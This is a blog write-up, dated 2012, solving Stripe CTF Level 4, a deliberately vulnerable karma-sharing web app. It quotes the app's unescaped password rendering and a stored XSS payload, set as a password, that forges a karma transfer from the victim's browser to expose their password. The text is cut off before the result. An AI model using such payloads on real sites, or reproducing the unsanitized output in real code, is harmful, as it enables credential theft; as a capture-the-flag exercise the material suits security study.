Stripe CTF: Level #4

Posted on sam. 27 octobre 2012 in Write-up


You can find the code for this level here.

(sha256: 07a8338f0ecf92537daedb60709cd8211a790a23f9c25a101e069614b32da2a8)

This level wants you to spread joy over the world. You have a certain amount of karma you can distribute to people. But to be sure that you only send karma to people you really trust to be good, everyone you send karma to will be able to see your password. What's more, the user karma_fountain is soooo good that he has infinite karma. Wouldn't it be nice if you could get access to his account?

Here, we can see that the user captain sent us one karma. Now, his password, ''captain_password'', is visible to us.


So, all we have to do to get karma_fountain's password is to get him to send us karma. Two ways for this: we could be so good that he'll want to give us karma, or we can force him a little bit.

So, what are our ways to interact with karma_fountain? The site doesn't offer some kind of internal messaging, we don't have an email address... All we can do is send karma_fountain some karma. Then, he'll see our password on his profile page. Hmmm, our password will be written to its profile page:

# File views/home.erb, line 52
<% @registered_users.each do | user | %>
<% last_active = user[:last_active].strftime('%H:%M:%S UTC') %>
<% if @trusts_me.include?(user[:username]) %>
<%= user[:username] %>
(password: <%= user[:password] %>, last active <%= last_active %>)

The password is not sanitized before it is displayed. Is it before it's registered in the database?

# File srv.rb, line 168
    :username => username,
    :password => password,
    :karma => STARTING_KARMA,
    :last_active =>

Nope. So if we put some javascript code as our password, and then we send karma to karma_fountain, our password (i.e. the javascript code) will be embedded in karma_fountain's page. If this javascript tells karma_fountain's browser to send us karma, its password will be displayed on our home page.

So, let's create a user evil_hacker, with the following password:

    var form = document.createElement("form");
    form.setAttribute("method", "post");
    form.setAttribute("action", "transfer");
    var to_field = document.createElement("input");
    to_field.setAttribute("type", "hidden");
    to_field.setAttribute("name", "to");
    to_field.setAttribute("value", "cats");
    var amount_field = document.createElement("input");
    amount_field.setAttribute("type", "hidden");
    amount_field.setAttribute("name", "amount");
    amount_field.setAttribute("value", "1");

Okay, I know this code is way too long, but javascript is really not my strong suit. Plus, there is the problem that once karma_fountain's browser executes the javascript, the transfer will take place, then karma_fountain will be redirected to its homepage, where the transfer will take place etc. Not very sly. So, there is room for improvement on this code. It's just to demonstrate the attack.


We connect as evil_hacker and send one karma to karma_fountain. Then, we wait for him to connect (the CTF staff had put up a bot which would look at its profile page every five minutes). Let's look at our profile: